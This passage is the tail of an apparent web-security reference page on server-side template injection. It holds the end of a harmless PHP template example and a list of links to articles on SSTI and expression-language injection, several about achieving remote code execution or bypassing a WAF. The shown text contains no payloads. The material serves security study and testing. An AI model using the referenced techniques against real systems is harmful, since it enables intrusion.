<a id="__codelineno-90-3" name="__codelineno-90-3" href="#__codelineno-90-3"></a><span class="x"> &lt;title&gt;</span><span class="cp">&lt;?</span><span class="o">=</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">e</span><span class="p">(</span><span class="nv">$title</span><span class="p">)</span><span class="cp">?&gt;</span><span class="x">&lt;/title&gt;</span>
<a id="__codelineno-90-4" name="__codelineno-90-4" href="#__codelineno-90-4"></a><span class="x"> &lt;/head&gt;</span>
<a id="__codelineno-90-5" name="__codelineno-90-5" href="#__codelineno-90-5"></a><span class="x"> &lt;body&gt;</span>
<a id="__codelineno-90-6" name="__codelineno-90-6" href="#__codelineno-90-6"></a><span class="x"> </span><span class="cp">&lt;?</span><span class="o">=</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">section</span><span class="p">(</span><span class="s1">&#39;content&#39;</span><span class="p">)</span><span class="cp">?&gt;</span>
<a id="__codelineno-90-7" name="__codelineno-90-7" href="#__codelineno-90-7"></a><span class="x"> &lt;/body&gt;</span>
<a id="__codelineno-90-8" name="__codelineno-90-8" href="#__codelineno-90-8"></a><span class="x">&lt;/html&gt;</span>
</code></pre></div>
<hr />
<h2 id="references">References</h2>
<ul>
<li><a href="https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/">https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/</a></li>
<li><a href="https://www.trustedsec.com/2017/09/rubyerb-template-injection/">Ruby ERB Template injection - TrustedSec</a></li>
<li><a href="https://gist.github.com/Yas3r/7006ec36ffb987cbfb98">Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)</a></li>
<li><a href="https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf">PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax</a></li>
<li><a href="https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/">VelocityServlet Expression Language injection</a></li>
<li><a href="https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti">Cheatsheet - Flask &amp; Jinja2 SSTI - Sep 3, 2018 • By phosphore</a></li>
<li><a href="https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw">RCE in Hubspot with EL injection in HubL - @fyoorer</a></li>
<li><a href="https://0day.work/jinja2-template-injection-filter-bypasses/">Jinja2 template injection filter bypasses - @gehaxelt, @0daywork</a></li>
<li><a href="https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9">Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018</a></li>
<li><a href="https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf">EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018</a></li>
<li><a href="https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/">Server Side Template Injection on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019</a></li>
<li><a href="https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/">Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020</a></li>
<li><a href="https://portswigger.net/kb/issues/00100f20_expression-language-injection">Expression Language injection - PortSwigger</a></li>
<li><a href="https://securitylab.github.com/research/bean-validation-RCE">Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab</a></li>
<li><a href="https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf">Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019</a></li>
<li><a href="https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html">Handlebars template injection and RCE in a Shopify app </a></li>
<li><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit">Lab: Server-side template injection in an unknown language with a documented exploit</a></li>
<li><a href="https://www.softwaresecured.com/exploiting-less-js/">Exploiting Less.js to Achieve RCE</a></li>
<li><a href="https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti">A Pentester's Guide to Server Side Template Injection (SSTI)</a></li>
<li><a href="https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf">Django Templates Server-Side Template Injection</a></li>
<li><a href="https://youtu.be/M0b_KA0OMFw">#HITB2022SIN #LAB Template Injection On Hardened Targets - Lucas 'BitK' Philippe</a></li>
<li><a href="https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/">Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Dec 4, 2022</a></li>
<li><a href="https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/">Leveraging the Spring Expression Language (SpEL) injection vulnerability ( a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021</a></li>
<li><a href="https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection">Expression Language Injection - OWASP</a></li>
</ul>
<aside class="md-source-file">
<span class="md-source-file__fact">
<span class="md-icon" title="Last update">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1-2.1-2M12.5 7v5.2l4 2.4-1 1L11 13V7h1.5M11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2v1.8Z"/></svg>
</span>
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 21, 2024</span>
</span>
</aside>
</article>
</div>
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
</div>
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8v12Z"/></svg>
Back to top
</button>
</main>
<footer class="md-footer">
<div class="md-footer-meta md-typeset">
<div class="md-footer-meta__inner md-grid">
<div class="md-copyright">
Made with
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
Material for MkDocs
</a>
</div>
</div>
</div>
</footer>
</div>
<div class="md-dialog" data-md-component="dialog">
<div class="md-dialog__inner md-typeset"></div>
</div>
<script id="__config" type="application/json">{"base": "..", "features": ["content.code.copy", "navigation.tracking", "navigation.top"], "search": "../assets/javascripts/workers/search.b8dbb3d2.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
<script src="../assets/javascripts/bundle.bd41221c.min.js"></script>
</body>
</html>